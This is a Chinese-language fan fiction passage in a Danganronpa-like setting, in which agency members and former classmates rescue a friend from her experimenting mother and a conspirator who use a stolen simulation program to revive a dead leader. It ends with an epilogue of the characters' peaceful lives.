太绝望了。 狡辩的余地都没有。证据确凿,推理严谨,77届最聪明的三个大脑一齐发力,老爸查了十几年没查到的消息都能找到绝对可靠来源。合情合理,唯一让人匪夷所思的是用自己亲生女儿做实验这种事离谱到好笑,但一旦看过光目心那些论文和她情感障碍的事实,就一点也不好笑了。 至于现在怎么面对美佳子…… 如月烦躁地抓着头发。 我竟然如此无能,面对她的悲伤连怎么整理自己的情绪都做不到。 老爸,你真是做了件大善事……可是现在我该怎么做啊。身为家人没能让她安稳,身为恋人没能让她幸福,身为朋友没能分享痛苦…… ……哈。早知道把晴彦那货带来,他最知道怎么哄女孩子了…… 不行,不能这样。绝对、绝对不可以绝望。 “美佳子………” “大和君………” “………”“………” 她哑然失笑。又是异口同声。 “……把假发戴上吧,小秃子,脑瓜都反光了。” “又想挨打了。” “病人要听话!!!” 他帮她套上假发理了理:“你还是适合齐刘海。” “要不是你小时候老欺负我剪我头发,我才不一直留着齐刘海呢。” “别老揭露我黑历史了!” “坏蛋还不让人说了。” 两个人小心翼翼地避开伤口,小心翼翼地掩盖起悲伤。就像是冰冷的现实的海水中,向对方的方向伸出手,妄图拥抱在一起取暖。 “………” 如月收起笑脸,从她的眼睛里看见了自己。而后他张开双臂,将她环起、扣紧在自己身前。 “别怕,美佳子。我会一直陪着你。” “……我没有害怕。” 她苦笑,双手微微颤着扶上他的肩背。 “我只是……很难相信啊。” “没关系。无论发生什么事情,无论真相是什么样子,我都会永远陪在你身边。没有美佳子绝对没有今天的我,在救命之恩这方面,我们是一样的。千万……千万不要绝望啊……” “我知道。”她说,“放心好了……大和君。” 而后她笑起来,积在眼角的泪一股脑流下来。 “要知道……我可是最不可能绝望的人呢!” “老爷们,我该说的可全都说了,你们还要我怎么着?” 金城斜着眼看向铭苅和上原:“怎么样?” “还有挽回的余地。”铭苅说着瞟了眼在角落里坐着抠手指的凤,“最重要的是,在查到此人踪迹时凤就收买了他,非常果断的选择,至少首先保住了前田勇气的人身安全。” “此人的唯一原则就是金钱,”上原撇了撇头发,“因此只要钱到位,他什么都能说出来。” 被绑在椅子上的桥本上倍眯起眼:“这位老爷说的对。只要钱到位就行,没什么我干不成的。” “你们的目的是什么。”金城抱起胳膊。 “光目想让三王寺继续支撑她的研究,三王寺想在新世界程序里复活虚空,老子想要钱,就这么简单。” “等等,”铭苅被突然涌进脑子里的信息打了个措手不及,“你再说一遍?复活虚空???” 桥本仰起头:“对,虚空。老子也不知道为什么有人叫这么个破名字,也不知道这人是谁。三王寺叫我绑了前田勇气好像是因为他长得跟虚空很像,光目说基因相似的情况下转移记忆什么的也方便得多,剩下的事我也不知道了……” “凤,”铭苅大喊,“亮出来。” 桥本接过凤递来的支票,顿时露出难以形容的笑脸:“新世界程序是老子偷的。具体的事也记不太清,但是在贾巴沃克岛空空如也、如月机关的小队去取A·E的时候我混进去的。” “新世界程序……”上原快速思考着,“为什么要用新世界程序?” “为了模拟世界?为了玩?我也不知道,反正要被覆盖记忆的指定是前田勇气。”桥本说,“然后——给你们点优惠好了。三王寺让我找到了另一群人,要他们协助他工作,因为可以复活那个什么,虚空。领头的那个人是叫……读卖日经。” 铭苅睁大眼睛:“读卖?!” “哟哟哟,看来是熟人。”桥本咧嘴笑了,“不巧的是读卖先生和他的三个小跟班没多久就跑了,三王寺这次派我出来是来抓他们几个的呢。说起来,我不就是在追捕他们的时候被几位老爷逮住了吗?” “……”铭苅摁了摁耳机,友利的声音传来:“全部记录下来了,马上会发送给机关长。” 金城解开桥本的手铐,想了想拦住立刻就要跑掉的他:“最后一个问题:三王寺明明只是如月机关的普通员工,为什么会知道只有高层才得知的虚空已死的消息?” “这个嘛,”桥本挠挠头,“我只知道个大概……别,老爷,给钱也说不出更多了。好像是那个光目,她读取了谁的记忆……” “?”金城皱起眉。 “真不知道了,副机关长老爷………” “你可以隐瞒,但是说谎的话……” “等等,金城,”铭苅面色凝重,听着耳机里的声音拦下金城掏向腰间的手,“如月来消息了。” “黑川怎么样?” “美佳子没事,但是……” 一旁的桥本戳了戳太阳穴,忽然恍然大悟:“哦!!我想起来了,光目经常说根据美佳子的记忆什么什么的………” “闭嘴。” 铭苅睁大眼睛,听着如月的叙述捂住了嘴:“啊……我这边的消息已经发给你了,你待会看一下………连起来了,都连起来了………” “……铭苅?”凤担心地歪了歪头。 “先等一下,凤……好,我这就让小桥川去接你们……全都能解释了,全都明白了………” 上原合上圣经站起身,长叹一口气。 “我想……抓捕应当开始了。” “在会议开始之前让我先问问大家,你们各自的领域,现在都恢复的怎么样啦?” 如月大和疲惫地站在会议桌前,疲惫地向大家笑着。他看上去不像二十不到的少年,倒像是刚刚步入社会的应届生。 金城首先开了口:“希望之峰学园的重建正在稳步进行,小学和国中都已经恢复秩序,黄樱先生也在寻找新的拥有才能的高中生,过几天苗木请我去剪彩。” 而后比嘉犹豫了一下举起手:“FIFA开始组织重建了,但是以前培养的运动员们没法弥补,只能重新练小孩……” “我和比嘉被奥委会邀请要去当教练。”波多乃沉沉地说,“新的孩子们,需要被训练……虽然都没同意就是了。” 如月看着默不作声的众人,保持着微笑继续问:“还有呢?还有谁想说说?” “国家的政府正在重建,”山口怯怯地说,“法律也好,规则也好,都在一点点恢复应有的秩序………” “这是好事,你应该高兴一点!”如月笑着说,“还有呢?铭苅?近次?照屋?友利?大家都说一说嘛,不用紧张!!” 铭苅决定不再等待:“别强撑了,如月,你演技很差。” “我没有演,我……” “我们直接说吧。”黑川轻轻说,“你这样大家会担心的,大和君。” “………” 有时候大家会忘了,他们一向坚定勇敢的机关长大人不过是个和他们一样大的孩子。他会手足无措,他会为又是妹妹又是爱人的不幸痛哭,他会悲伤会抓着头发痛骂。他不过是个孩子,却拼命扛着一切悲伤。他果断,坚强,聪明,但是他也会趴在友人身上将忍了好几天的泪水一口气哭出来,鼻涕混着眼泪滑稽得很。 ……而幸好他拥有一群明明已经能回到正常的生活、却仍选择直面命运的朋友。 “凤照屋,你丫还在磨叽什么?!” “你管我?” “你们可别吵吵了。” “好了,现在美佳子大人和大和也上来了。凤照屋你丫还在干什么!!” “我得带着我上次做的彩虹大衣啊!!” “得,跟你我是没话说了。好了,等大家都上来,我们就出发啦。” “……奉主耶稣基督的名求……愿主护佑行动顺利通畅,阿门。” 小桥川打了个哈欠:“每次出远门近次都得叨叨上这么一通,咱是不懂信神的人。” “五月也不懂啦。”一旁的伊良波转着手上的戒指说。 “……别玩啦,虽然不是正式的但是订婚戒指也别乱动嘛。” “五月喜欢它!才不像晴彦一样非要带着手套遮住它呢!!笨蛋!!” “唉……哎哟,凤大人总算来了?” 对于吃了金坷垃似的飞速长高的凤,小桥川一直抱着诡异的不满。短短一年半,凤一直在一点点长高,超过了金城那天凤的身高正式被列入如月机关七大不可思议之一(另外六个是什么他也不知道),直到现在……连山口都得仰视凤嘞。 “最后确认一下几个目标。”如月大和翻着资料,“最首要的一个,名为三王寺帝的如月机关工作人员,罪行是盗走A·E和绑架罪,和……” 说到这里他犹豫了,抬起头看向一旁的女孩。但是很显然,她比他想象得更冷静。 “黑川心。”黑川美佳子吐出这个名字,“我的生母。罪行是非法进行人体研究,以及协助犯罪、盗窃如月机关机密罪。” “……最后一个关键目标,前田勇气,三年前被虚空调包的真正的前田勇气。”金城补充,“本次行动目的地:追踪至太平洋上的无名岛屿,最终目标:回收新世界程序,逮捕三王寺帝和黑川心。此前已经收买了他们的共犯桥本上倍,如果他按照我们的指示做了,现在此二人应该已经被控制了。当然……” “也要做好其他准备,”友利勾着头发说,“一旦三王寺又加价呢?桥本可不是什么好货。” “好,非常好。”铭苅冷理了理没剪多久的短发,“美佳子还是太勉强了,才做过手术没多久。” “没事。”黑川摇摇头,“该说幸好啊……我们的计划没能被再窃取。黑川心的事情……理应由我来解决。” “别给自己太大压力,美佳子。”如月低下头,“我们都在这里呢,可别想着一个人担着。” “我才不会呢。” 她微笑着看向他,然后看向大家。 “我可是最不可能绝望的人。” 来吧,上前来,歌颂命运吧,歌颂悲剧吧。 但是当黑川美佳子面对若无其事的三王寺帝与黑川心时,内心的壁垒还是轰然崩塌。 小时候她总和如月打架。她总是赢,但是赢得闷闷不乐。她曾想象过亲生父母出现在眼前时她会怎么面对他们。 她想张开双臂扑过去,抱着他们的脖颈幸福地喊爸爸妈妈。 但很显然,黑川心没给她这个机会。 “桥本是个不错的雇佣工。”三王寺得意地说,“他把你们引诱到这里来了。非常不错,现在你们来看看这个。” 一旁的黑川心不耐烦地拉开锁链:“你太磨蹭了,三王寺。” 椅子上被锁住的人……那张脸是所有79届生都很难忘记的模样,尽管他们都知道那绝非早已殒命海洋的虚空本人,但还都是没忍住出了一身冷汗。 很明显他们处于被动状态了:犯罪者控制着人质和新世界程序,桥本是个墙头草。虽然早有预料,如月大和还是气愤的咬紧牙根。 来吧,来终结这场虚空的戏剧。 “条件很简单:如月机关长在程序中击败我,而黑川小姐,来帮助你的母亲完成你出生时就带着的任务。” 闹剧终将落幕,主角会抽出宝剑,含笑挥砍向自己的脖颈。 “………我要指正。从宗次郎带着你离开实验室之后,你出生的意义就已经消失了——我是说,我不再需要什么原始情感的婴孩了。不过你仍然有能做到的事:上前来,想我证明人类情感的极致无法估量。” 台下的观众纷纷起身鼓掌,并未在乎台上的演员流出的血是否滚烫。 “至于你们这帮小同伴……桥本先生会看住他们的。如果你们都能做到……我们一定会放了前田勇气,新世界程序也会立刻归还。” 但勇士仍然会站起来,就像先前的千万次那样。 “………好。如月机关………不。” 如月握紧黑川的手,大喊着指向三王寺: “希望之峰79届生,接受你们的条件!!” 但是你孤立无援。 但是你没有依靠。 但是你身边空无一人。 但是你只能前进。 黑川美佳子愣在原地,许久许久才从牙缝里挤出一点声音。 “你……不是说………让我们………” “是啊。让你们向我展示人类情感的极致。”黑川心———或者依她的喜好,光目心,面无表情地看着眼前的屏幕。“这可不行啊,美佳子,现在的情绪……我已经看腻了。” “但是,但是你,”美佳子努力组织着语言,“但是你为什么要抓大和君,你,你……” “不要害怕,美佳子!!!!”被绳子捆住身体、吊在虚假的天空上的如月大和拼命喊到,“不要害怕,大家一定会来!!走下去!!” 光目眯起眼。 和朋友们在一起的时候,多少困难都会被渐渐化解。但如若独自一人,没有一个人鼓励你、扶持你前行,你还会坚持下去吗? “………” 美佳子咬住牙,向独木桥上跨出第一步。万丈深渊于脚下凝视着单薄瘦弱的女孩,如同那场草草了结的自相残杀的开始,她独自面对着无法说出口的真相哽咽,在黑夜中与什么东西颤抖着对视,疲惫的眼睛再也无法安眠。 不要害怕。不要害怕。 她张开双臂,屏住呼吸,于是听见胸腔内心脏剧烈跳动、几乎撞断肋骨的声音。但是她迈出了第二步。然后是第三步,第四步……… 第五步她晃了晃重心,但依然稳稳地落下脚。第六步她险些跌倒,在一片寂静中尖叫出声。第七步还没迈出来她便趴倒在独木桥上,她发现双腿抖得站都站不稳了。 “美佳子,别害怕!!”如月大喊,“站起来,别害怕!!” “你太吵了。”三王寺说。 吊着如月的绳子上伸出更多机械臂锁住他的脖子,但是惨叫也一起卡在喉咙里,因为铁环也赌住了他的嘴。 “……大和君!!!” 光目推了推眼镜:“还是相似的情绪,在以前出现过一次。还不够。” 黑川颤巍巍地努力支起身体,看着半空的如月睁大眼睛任凭泪水流淌。但他摇了摇头。就像是奇妙的感应一样,她知道他想说什么。 我又不是没经历过,别管我,快走!!! “………” 她咬住下唇支起身体,努力向前爬去。天知道他们怎么把新世界程序改造成了真刀真枪的恶趣味闯关游戏……黑白熊也好,那些晃来晃去的机关也好,每一个都是真的能要人性命的…… 就像是处刑场。 “咿!!” 摇晃的巨锤从耳边闪过,她想寻找躲避的地方,没料到双腿早就没了力气,跌倒在地。 “……!!” 如月激烈地晃起来想要挣脱束缚,尽管那根本是徒劳,只能看着摆锤摇到另一侧。接下来它将顺着重力摇回来,然后砸中……… “喂喂!!” 拴着锤子的绳子在砰的一声枪响中断裂,摆锤依着惯性飞了出去而后轰然落下。黑川被扬起的灰尘呛到,咳嗽几声揉揉眼睛,惊奇地发现一只手伸向了自己。 “千万不能死在这里,这才刚开始呢!” 光目心看向三王寺:“谁?” “………桥本把79届生放进来了?” “……算了,以后再说。反正……” 光目看向屏幕,摇了摇头。 “数据还是一样。重复的无聊。” “………清香?” 黑川睁大眼睛——由于眼里盛满了泪,她并不感到酸涩——呆呆地看着不知从何而来的、扛着狙击枪的牧清香。后者见她愣着,干脆伸手拉起她:“别犯傻了!别害怕,有我呢。喂喂,如月!!!”她抬起头挥挥手,漂亮的短发随着风飘了起来。 半空的如月挤着眼睛苦笑。 黑川站起身,拉紧牧的手:“我们……走吧。” “我们走。” 光目歪歪头:“有一点新波动……在以往也出现过类似的,应该计算在正常范围之内……” “按计划进行应该就好。”三王寺回头看向椅子上无神地坐着的前田勇气,“毕竟他们所谓的同伴的精神………也在虚空大人的记忆之内。” “又来了一个………” “心小姐。他们都来了才是我的计划。” 两个女孩子抓着彼此,有惊无险地看着被比嘉光宏一脚踹飞的巨石。救下二人的那位倒是没什么所谓,捋着头发大喊:“哟!!清香!!走路不看路!” “要你管啊傻蛋!” “比嘉也来了,”黑川急急调整着呼吸,“那,那就是说……” “大家都会来的。”比嘉笑笑,“如果命运势必在此终结,那我们都有义务一起走下去。” 周遭忽然陷入一片黑暗,像是从地面钻出的墙壁包围了三人。比嘉和牧警惕起来,抓紧枪械保护着手无寸铁的黑川。金属摩擦的噪音响起,牧挥起枪打飞一把飞来的匕首:“小心,四周恐怕全是冷兵器的机关……” “根本看不清,要是有照明也好………”比嘉嘟囔着踢飞旋来的飞箭,“喂!!再来几个!!!” “再来几个?”黑川抓紧牧的手。 “……闭眼!!!” 友利绊矫健的身姿随照明弹的闪耀中轻快地飞檐走壁,长期文职工作并没使她的身手变得僵硬,反而因为更加熟悉机械设备而轻松解决了那些装着武器的机关。而后她跳到几人旁边,跳着高拍了拍黑川的肩膀: “都说了我们得一起走下去。” “绊也……” “不只是我,还有菖蒲。”友利得意地指指身后,凭空竖起的机关墙壁轰然碎裂。“破坏机关的时候,我有给菖蒲指示哦。” “毕竟一起活下去是我们的约定。” 波多乃菖蒲撞开墙壁,拍拍头上脸上的灰尘,向他们腼腆地微笑:“抱歉,我来的有点晚……但是这条路不应由你一个人走下去,美佳 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“他可能不靠谱,但是希望之峰77届的学生靠谱。” 几人在荒漠中艰难地前进着,没多久竟听见人声,似乎是谁吵架的声响。读卖抬手制止几人继续前进,忽然响起一片枪声。 “我草!!!” 吵架的男生大喝一声摁住身边的女孩趴到地上,读卖一行人相互保护着寻找掩体,而后两拨人对了眼。方才还一脸笨相的戴围巾的男生迅速拔出腰间的枪:“什么人!!!” 读卖举起胸前的牌子:“我是读卖日经,我认得你,超高校级的飞行员小桥川晴彦对吧!” 对方愣了一下,拍拍身后的女孩的脑袋:“那个记者是叫读卖日经吗?” “是啊,笨蛋。” 又是一阵枪响。几人低下头:总躲着也不是个事,怎么也得找个办法先离开…… “喂,小桥川,听我说,”读卖在枪声中大喊,“你们79期生,和我们一样,身上带着天运;三王寺那个孙子在这里设下的新增程序之一就是天运建造,就是拥有天运的人有权限建造或破坏实体物质,但是不是三王寺的,就只有一次机会。能明白我的意思吗?” “啊???” “………现在想象一个如月机关的人熟悉的武器或者,什么东西都行,你干脆想个飞机!”读卖深感无力,“首先得把我们带出去吧!!” “………啊???” “晴彦你最好先听他的话,”读卖认得那个女孩,应该是伊良波五月,“一旦是真的呢?总之先想象个飞机就好了嘛!” 虹上被护在几人中间,嘤嘤地说:“为什么我们不直接想呢……” “………” 读卖回过头,敲了她一脑壳。 “你记住。就像如月机关的人在努力规避被记录于正史上一样,我们做的一切只不过是「辅助」,绝对不可以直接参与。而你们,你们都是我的手下。如果我的手下死在三王寺的诡计里……” “你会难过吗?”真行路日笑着说。 “……滚。” 光目泡了杯咖啡,随便坐在椅子上:“那几个人会告诉他们权限的问题吧,不要紧吗?我看见他们想象出了一架飞机呢。” 三王寺摇摇头:“针对边缘地区的枪击很快会转为炮击,不用担心。倒是这边………” “他们在为自己的小聪明沾沾自喜呢。” 祷佳奈多气喘吁吁地瘫坐在地上:“太好了……我也能保护到大家,真是太好了……” “保护家人是我们的责任。”山口驱放下电磁力场盾牌,擦了擦头上的汗,抬起头向如月挥手:“机关长大人的发明又救了大家!!!你等着,我们一定能救下你!!!” 如月疲惫地笑了。那玩意儿……真亏你还能找出来。自从绝望残党入侵机关、那力场盾挡了边古山佩子的三刀以后,几乎就没用过……能反弹冷兵器攻击真是太好了,能为娇小的祷争取来拉电闸、停止飞矛攻击的机会…… 黑川咬住下唇:“在那之前……佳奈多,刚才你拉下的电闸……似乎控制了更多东西。” “嗯?” 众人抬起头看向前方,很快明白了她指的是什么:方才在前进的路两旁竖起的高大的、看着只是装饰品的十字架缓缓向下倒来,随便哪个都有砸死众人的气势。一行人或尖叫或怒吼着闷着头飞速跑起来,试图离开十字架的倒塌范围,但那明显是徒劳的。 “故如若我主有灵……不得伤害我的同伴,奉主之名回到地狱吧!!!” 大家抬起头,发现十字架化为满天白色蝴蝶向四周翩翩飞去,如同冬天的雪抑或春天的柳絮。在白色蝴蝶中间,上原近次举着十字架,上气不接下气地看着他们,忽而笑了起来。 ………这一幕似曾相识。 “你们先走!我殿后!!” 读卖拍着幕之内催促他们登上飞机,小桥川扶着舱门大喊:“你也快点上来吧!!我们没多少时间,也不知道能撑多久……” “………快走!!!” 又一波炮弹狠狠打在直升机上,幕之内抱紧真行路日和虹上,努力保护着女孩们。读卖抬头,面色凝重。小桥川叹了口气,回头冲驾驶舱大喊:“……五月,启动螺旋桨,准备起飞。我教过你,没问题吧?” “没问题!” “读卖,我建议你快上来。”小桥川伸出手,“炮弹不长眼,你没必要逞英雄。” “……听你一次。” 读卖伸出右手,紧紧抓住小桥川的右手———上面的戒指硌了他一下,他这才想起那个伊良波手上也戴着戒指———而后稳稳登上直升机,长舒一口气。小桥川抽回手拉上舱门,拍了拍他的肩膀,爬回了驾驶舱:“下一步飞向主路线就行吧?我们两个笨蛋来的时候没调坐标,传错地方了。” “对……希望他们都还活着。”读卖大声说。 ……… 莫名其妙地安心了许多。读卖在幕之内身边坐下,看着惊魂未定的女孩们,居然露出苦笑。 ………不知道为什么,忽然感觉和这三个废物一起好好活着,真是精彩的故事。 “这下力场盾也没什么作用了……”比嘉气的挠头,“他们哪来的这么多武器?简直是搬了个军火库来啊!!!” “还是全自动的!!!”牧大喊,“掩体不知道还能撑多久……总不能闷着头冒着枪林弹雨过去吧!!” “说起来,小桥川和伊良波呢,”上原迷惑地说,“他们明明在我之前进来了……而且也是小桥川用耳机告诉我可以利用天运建造来破坏建筑,虽然只能用一次………” “所以抬头看看咯,各位乘客!!” 是从什么时候开始的啊………听见直升机的螺旋桨声,就像是看见了回家的方向;即便是在枪炮的巨响中也能轻松分辨出来,就像螺旋桨的轰鸣带来了希望的光…… 毕竟最初的时候,毕竟那时他们迎着天际的太阳逃出生天的时时候…… “砰砰砰砰,五月导弹出击!!” “趴下!!!”黑川大喊,压着身边的祷趴在地上。机载空对地导弹轰隆隆打出一轮后再也听不见枪声,取而代之的是越来越近的令人安心的螺旋桨的声音。读卖几人一边站在门口一个一个将他们拉到机舱里,一边说明了现状。直升机载着众人奔向快被勒断了气的如月,黑川在身上绑好绳子,站在机舱门口纵身一跃。 ………这一幕也似曾相识。 “………波动。从来没见过的波动。” 光目放下咖啡,紧紧盯住屏幕,“从她抓住那小子的时候开始的,这可真是………前所未有的剧烈波动,夹杂着恐惧、欣喜、愤怒、悲伤………必须记录一下………” “………还少四个人。” “我要提醒你,三王寺,如果79届生全部进入程序,遭殃的就是我们了。” “我们?不不不。”三王寺捂住脸笑起来,“心小姐………他们合在一起,才是完整的虚空大人。” “15个人,算上了读卖先生你们,”如月倚着山口喘息,“剩下剑,照屋,还有铭苅和平良……” “凤亲已经到了!”伊良波大喊,“他在下面给咱们找着陆点!!” “平良不知道在哪里。”黑川抓着如月的手大声说,“再怎么说,她都是最重要的那一个……” 读卖抬手制止了她:“错了,黑川小姐。对光目心来说最重要的人无疑是黑川小姐你,而对三王寺帝来说,最重要的人也不是现在掌握着大半天运的平良茜………” 他指着机舱里的79届生们,吐出那句酝酿已久的话:“是你们所有人。” 短暂的沉默后,驾驶舱里传来小桥川的声音:“倒是在意料之内……我说,前面是一片………海,我们还要继续前进吗?方向没错吗?” “方向没有错,”上原大声说,“不过……明明已经设立了那么多阻碍,还在这里设置了一片海洋来阻隔吗……” “所以如果不利用三王寺天运建造的规则,我们根本不可能到达目的地。”如月冲读卖伸出拳头,“这次要谢谢你了,读卖先生。” “………要谢先谢他们,”读卖压下帽子指指身后窝在一起的三人,“要不是虹上和真行路日善心大发非要来,幕之内又心软,我才不会跟着来呢。” “老大你就嘴硬吧,”虹上小声嘟囔,“明明是老大说救命之恩不可不报,现在反倒赖到我和缘间身上了……” “……虹上!!!” 如月看着吵吵嚷嚷要推起责任的四人,疲惫地笑了笑:“不知道平良她在哪里……跟虚空那家伙挂上钩的事件中她一定会出现,但是怎么个出现法那还真是个问题。” “我就在这里。” 闻言众人一同看向凭空出现在机舱中心的那个身影,平良茜安静地站着,穿着她一如既往的女仆装束,披散了束缚已久的长发。奇妙的是,没有人为她的突然出现感到吃惊,反而自然地接受了她。女孩子们为她挤出位置坐下,她只是笑着摇摇头拒绝了。 “我想……虚空大人会愿意看到这个结局。” “还剩三个。” 三王寺捂住脸,嘴角无法抑制地扬起来。光目瞥了他一眼,默默记录下这种反应。 至于她的情感监测…… 非常顺利。顺利地出乎意料。如此坚定,如此激昂,真是令人不可思议———不愧是美佳子,在实验室中诞生了最纯粹的心……… 光目眯起眼。她看见一副明黄的破烂的旗帜从前面升起,有谁高高挥舞着旗帜将它扬起让它飘荡。她看见直升机轰鸣着在旗帜旁垂直着陆,她站起身,看见举着旗帜的高大的绿头发男孩笑着迎接大家走下飞机。 光目皱起眉,手心抚上胸口。奇怪啊………居然剧烈地跳动了起来。 ……… 所谓“人类情感的极致”……? 什么是「情感」。什么是「命运」。 除了神明,没人能给出所谓的答案。这是永远的戈迪乌斯绳结,没有人能解开。 亚历山大选择斩断它。因此有人斩断了命运。 又是春天啊。天蓝得轻飘飘的,似乎被樱花树染上了粉色的气息,连云都羞涩了许多。 前田勇气推着轮椅,使劲嗅了嗅樱花的气息。轮椅上的金城剑挥挥手:“到这里就可以了,辛苦了,前田。” “希望之峰学园……没想到会以这种方式亲自来到这里……” “……真的辛苦你了。” 二人一同抬头看向面前的校舍。 希望之峰。一切的起源,最后成了一切的终点。 “苗木校长似乎没那么在意学生的才能了。” “而且扩大了招生。财力没什么可说的,还活着的校友都在努力帮忙;黄樱先生也在忙着收录普通但上进的学生。” “我突然有点好奇………幸运的才能……” “哈。确实没被取消。毕竟无论是狛枝凪斗还是「虚空」,亦或是苗木本人……这个幸运都的确幸运地不那么正常。” 金城支着扶手,利落地依靠着外骨骼站起来,而后抬起头看着天空苦笑。 “但是毫无疑问……这次「天运」真的终结了。” 在那场天运持有者们携手并肩前进的作战的最后,光目心临阵倒戈选择帮助众人,三王寺帝则试图用程序管理权限杀死天运持有者的意识,从而获得完整的「虚空」。然而在他得逞———或者说失算——之前,金城从天而降向他开枪,而后死死压制住他。 “让生命能得到存续,这就是我的正义!!!!” 如今想来还是有点羞耻的……金城压下帽子偷笑。那之后铭苅作为压轴辩论人出现了,成功给了三王寺最后一击: “说白了,漠视了生命而仅仅追求本就虚无的「天运」,三王寺帝,你就是不折不扣的人渣吧?” 她看透了三王寺的目的:当所有天运持有者进入程序后,天运的累加就会叠到最大化,也就是完全复制「虚空」那种程度的、最原本的「天运」。而与「虚空」长得很像的前田勇气则无疑是最佳的天运容器,甚至在接收了这份天运后,连人格都会变成完整的「虚空」………这就是所谓的“「虚空」复活计划”。然而那时候无论是铭苅还是看似全程吊在天上、实则谋篇布局的如月,甚至三王寺本人……谁都没想到「虚空」的灵魂真的复生了。 “平良……茜………” 说真的……那时候所有人都吓傻了吧。只有平良茜还愿意走向捂着头站起身的前田勇气———尽管大家都听得出来那绝非“前田勇气”。她走过去,什么也没说,紧紧抱住了他。 “什么都不要说了………虚空大人。我在这里。” 如月目瞪口呆:“虚空………” “………没想到能以这种方式与你再见,如月大和。” “哟!这不是金城君嘛!” 黄樱公一扶着帽子拍拍他的肩膀,打了个响指得意地笑着。“咱的苗木校长在等着你呢,委员会可就差你一个咯。” “……其实我是来回绝希望之峰的委员会邀请的。”金城笑着摇摇头,“毕竟现在我还是如月机关的副机关长,身兼多职还是容易引人耳目。” “嘛,这你得跟苗木自己说去,”黄樱挠挠头发,“哦?这位先生看着有点眼熟……” 前田连忙伸出手:“您好,我是前田勇气,金城先生的助理……” “哦哦,那个被顶包了的前田君!”黄樱大笑道,“抱歉抱歉冒犯了,不过我可真没想到前田君居然也加入了如月机关呢。” “如月跑去环游世界了,现在机关里的事务都是我和铭苅在忙,”金城苦笑,“天运解除后大家几乎都回到各自岗位上了,平时聚少离多,只有铭苅和前田……还有平良一直留在基地。” “嘛,也不错。” “是啊。” 金城耳边响起「虚空」的声音。 “……还活着就好。” “还活着就好。” 「虚空」闭上眼,长长舒出一口气。三王寺试图挣扎起来说些什么,却被金城屈着胳膊肘狠狠压死在地上,出声都困难的很。 “………” 尴尬的氛围下没人想当第一个开口说话的人,除了并不知晓全貌、事实上也无法感受到“尴尬”的光目心开口了: “原来如此。既然还抱有善念,就不要用外表掩饰自己了。” “………”「虚空」眯起眼:“我……” “不需要掩饰了。”光目摇摇头,“就在刚才,这些孩子们向我展示了「人类情感的极致」:极致的善念,极致的协调,极致的信任。你不需要掩饰自己的本性了。就算经历过常人难以想象的苦难,你依然是个愿意赴死换大家活下去的温柔的人吧。” “况且……”读卖日经在人群后压着帽子别过脸,“如果虚空大人不是出于善意,当初为什么要救我们呢。” 幕之内一将两个女孩子护在身后,咬着嘴唇看着他们。 “………平良茜。如月大和。” 平良默不作声地紧紧抱着他,大家看不见她的表情。如月走上前一步,目不转睛地盯着他。 “……现在许下一个愿望吧。” “……愿望?” “许下愿望,天运就会帮你实现。天运是神明给我的诅咒,让我永远得偿所愿,永远体会不到付出和失去的感觉。现在,终结这一切吧。” 如月睁大眼睛:“终结……” 平良紧紧抱着他:“……虚空大人……” “……对不起,我没法遵守诺言了。” 说完这话「虚空」犹豫了一下,而后叹了一口气,伸出手抱住平良。 一直以来辛苦你了,茜。 对不起,我没法遵守约定了…… 答应我,从此以后一定要好好活下去…… “让世界上所有天运就此不留痕迹地消失吧。” 今天是个好天气。铭苅冷打开窗户,吹了会风,短发在脖颈间飘着,有点痒。 手机日常嗡嗡地叫了起来,果不其然,又是不知道跑去哪了的黑川美佳子。 “快看啊!!小冷!!”视频里的女孩指着身后的瀑布,长长的黑发在猛烈的风里乱成一团杂草。“这就是安赫尔瀑布啦!是不是特别壮观!!大和君!!快来和小冷打招呼!!” “哟哟铭苅!!羡不羡慕!!超棒啊这大瀑布,人生一定要来看一次啊!!!” “知道了。注意安全,别卷里面出不来了。” 画面外传来谁淡淡的声音:“你们两个小心一点,我们什么时候走?” 是光目心。虽然本人似乎不是很乐意,到底是被自己女儿拖去环球旅行了啊。 “妈妈!!再玩一会嘛!!!” 铭苅扣上手机,看着窗外。 忽然很想笑。无厘头地笑。于是她笑了。 今天是个好天气。 今天是个好天气。 平良做好早餐就放在了桌子上。吃了一年多方便食品的前田吃得狼吞虎咽,铭苅都被逗乐了。吃饭的当口金城锻炼回来了,踩着咯吱咯吱的外骨骼擦着汗,问他们哪一份饭是自己的。 没多久远在梵蒂冈的上原打了个电话。虽然跨国通话简直就是烧钱玩,上原也早已不是当初用什么电子产品都三秒报废的机械杀手,保险起见还是仅凭电话沟通了。看起来欧洲那边秩序恢复得不错,又有人上街吵吵什么脱不脱欧之类的闲话了。这是好事。 电视上播着新一届奥运会的准备报道。比嘉和波多乃好像在训练新一代运动员,但他们没接受采访,所以能让前田激动到噎饭的恐怕是那个记者的名字:读卖日经。看起来他也混的不错。 铭苅抽出一张纸擦擦嘴,起身离开餐厅。 今天是个好天气。 今天是个好天气。 牧清香倚着枪叼着棒棒糖,拿着游戏机念念有词;牧龙太郎则呲牙咧嘴,皱着眉几乎把掌机捏碎;作为他们的对手,很明显小桥川和伊良波更有“默契”,如果说默契是指把对方撵到敌方射击范围内的话。不远处的凤指挥着员工们把他们叫不上名的大设备搬到飞机上,最后拍拍手弹了小桥川一脑壳。带着两个狙击手运送物资,伊良波将此戏称为“镖机”。 飞机起飞后友利在地面上挥了挥黄色的丝巾,就像在说“一路顺风”。飞机升入云天,天空蓝得明晃晃的,云层上和云层下都透彻得像水晶。 凤伸了个懒腰,舒舒服服地躺下,随口问了句“晚上吃什么”,收获了四个“随便”。 哎呀。随便可不好吃。他大笑。 今天是个好天气。 今天是个好天气。 祷佳奈多拉起和自己差不多高的小女孩的手,笑着说你今天就可以出院啦。她拉着女孩走出医院,被太阳刺了一下眼睛。 山口驱出现得出乎她的意料。他带着一个捂着脸的大叔,笑嘻嘻地说你看我把谁带来了。祷抬起头,大叔蹲了下来,然后她惊呼起来。 “……都长这么大了!” 河西慎二羞涩地笑着将她抱起来。很多年前他从事故现场救出奄奄一息的小女孩如今成了救死扶伤的优秀的医生,听到这里他不停地擦着眼泪抽鼻涕,比祷还要激动,倒不像个老大叔了。 山口抬起头,看着天空笑了。 今天是个好天气。 今天是个好天气,所以请继续走下去吧。 今天是个好天气,所以请笑着前进。 今天是个好天气。明天也会是个好天气。未来的所有日子,都会是好天气。 所以走下去吧。所以好好活下去吧。 不要让遗憾成为牵绊,请好好地活下去、为生命的存续感到骄傲吧。 请活下去,因为毫无疑问,今天是个好天气啊!!